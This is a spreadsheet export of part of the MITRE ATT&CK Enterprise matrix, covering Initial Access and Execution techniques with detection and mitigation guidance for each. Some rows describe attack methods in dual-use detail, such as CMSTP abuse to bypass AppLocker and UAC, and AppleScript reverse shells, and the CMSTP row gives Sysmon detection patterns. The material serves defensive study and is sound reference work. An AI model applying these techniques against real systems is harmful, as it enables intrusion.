Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
STATISTICS				**Tactics: 12 Techniques: 266 Mitigations: 41 Groups: 96 Software: 365**	**Techniques: Windows = 136, Linux = 128, macOS = 135, AWS = 7, GCP = 7, Azure = 2, Office365 = 6, SaaS = 3**	**Software: Windows = 332, Linux = 33, macOS = 20, Office365 = 1**					**Technique Permissions: Administrator = 112, Root = 9, System = 33, User = 150, RDP = 1**
-			**MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) Enterprise Matrix (incl. Cloud) v6.3 (20191024)**	**OWASP Cyber Controls Matrix (OCCM) @ https://cybercontrolsmatrix.com** The content of this spreadsheet is © 2020 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. **IMPORTANT:** Use of this content is completely as-is, with no warranties either expressed or implied. Before use, see further important information in the Legal Text section at the above website. **MITRE ATT&CK Terms of Use:** **LICENSE** The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use ATT&CK® for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. "© 2020 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation." **DISCLAIMERS** MITRE does not claim ATT&CK enumerates all possibilities for the types of actions and behaviors documented as part of its adversary model and framework of techniques. Using the information contained within ATT&CK to address or cover full categories of techniques will not guarantee full defensive coverage as there may be undisclosed techniques or variations on existing techniques not documented by ATT&CK. ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN ARE PROVIDED ON AN "AS IS" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. See our FAQ for more information on how to use and represent the ATT&CK name.							- Parsed the official JSON for relevant fields. - Enumerated Tactics, Techniques, Mitigations, Groups, and Software. - Correlated Tactics with Techniques. - Correlated Mitigation Summaries with Tactics. - Combined multiple columns into one. - FUTURE VER.: Correlate relationships. - Content derived from the official ATT&CK Enterprise JSON, available from the website below. *** https://attack.mitre.org
TA0001	**0**	**Tactic**	**Initial Access**	The adversary is trying to get into your network. Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.							https://attack.mitre.org/tactics/TA0001
T1189	**1**	**Technique**	**Drive-by Compromise**	A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring application access tokens. Multiple ways of delivering exploit code to a browser exist, including: * A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting. * Malicious ads are paid for and served through legitimate ad providers. * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content). Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise) Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place. * In some cases a second visit to the website after the initial scan is required before exploit code is delivered. Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)	Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.	Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process. Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape) Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape) Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.	initial-access	Packet capture, Network device logs, Process use of network, Web proxy	Windows, Linux	User	https://attack.mitre.org/techniques/T1189
T1190	**1**	**Technique**	**Exploit Public-Facing Application**	The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)	Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.	Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications. Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure. Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts. Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.	initial-access	Azure activity logs, AWS CloudTrail logs, Stackdriver logs, Packet capture	Linux, Windows		https://attack.mitre.org/techniques/T1190

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1133	**1**	**Technique**	**External Remote Services**	Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally. Adversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.	Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.	Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.	persistence, initial-access	Authentication logs	Windows	User	https://attack.mitre.org/techniques/T1133
T1200	**1**	**Technique**	**Hardware Additions**	Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.	Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.	Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. Block unknown devices and accessories by endpoint security configuration and monitoring agent.	initial-access	Asset management, Data loss prevention	Windows, Linux		https://attack.mitre.org/techniques/T1200
T1091	**1**	**Technique**	**Replication Through Removable Media**	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.	Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.	Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control) Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	lateral-movement, initial-access	File monitoring, Data loss prevention	Windows	User	https://attack.mitre.org/techniques/T1091
T1193	**1**	**Technique**	**Spearphishing Attachment**	Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.	Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).	Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.	initial-access	File monitoring, Packet capture, Network intrusion detection system, Detonation chamber	Windows, macOS		https://attack.mitre.org/techniques/T1193
T1192	**1**	**Technique**	**Spearphishing Link**	Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)	URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.	Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.	initial-access	Packet capture, Web proxy, Email gateway, Detonation chamber	Windows, macOS		https://attack.mitre.org/techniques/T1192
T1194	**1**	**Technique**	**Spearphishing via Service**	Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.	Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).	Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Because this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.	initial-access	SSL/TLS inspection, Anti-virus, Web proxy	Windows, macOS		https://attack.mitre.org/techniques/T1194

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1195	**1**	**Technique**	**Supply Chain Compromise**	Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)	Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.	Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system. Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): * Uniquely Identify Supply Chain Elements, Processes, and Actors * Limit Access and Exposure within the Supply Chain * Establish and Maintain the Provenance of Elements, Processes, Tools, and Data * Share Information within Strict Limits * Perform SCRM Awareness and Training * Use Defensive Design for Systems, Elements, and Processes * Perform Continuous Integrator Review * Strengthen Delivery Mechanisms * Assure Sustainment Activities and Processes * Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)	initial-access	Web proxy, File monitoring	Linux, Windows		https://attack.mitre.org/techniques/T1195
T1199	**1**	**Technique**	**Trusted Relationship**	Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.	Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.	Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.	initial-access	Azure activity logs, Stackdriver logs, AWS CloudTrail logs, Application logs	Linux, Windows		https://attack.mitre.org/techniques/T1199
T1078	**1**	**Technique**	**Valid Accounts**	Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. Accounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. Default accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module) The overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)	Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.	Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.	defense-evasion, persistence	AWS CloudTrail logs, Stackdriver logs, Authentication logs, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1078
TA0002	**0**	**Tactic**	**Execution**	The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.							https://attack.mitre.org/tactics/TA0002
T1155	**1**	**Technique**	**AppleScript**	macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.	Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.	Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.	execution, lateral-movement	API monitoring, System calls, Process monitoring, Process command-line parameters	macOS	User	https://attack.mitre.org/techniques/T1155

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1191	**1**	**Technique**	**CMSTP**	The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)	Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).	CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)	defense-evasion, execution	Process monitoring, Process command-line parameters, Process use of network, Windows event logs	Windows	User	https://attack.mitre.org/techniques/T1191
T1059	**1**	**Technique**	**Command-Line Interface**	Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)). Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.	Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.	Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	execution	Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1059
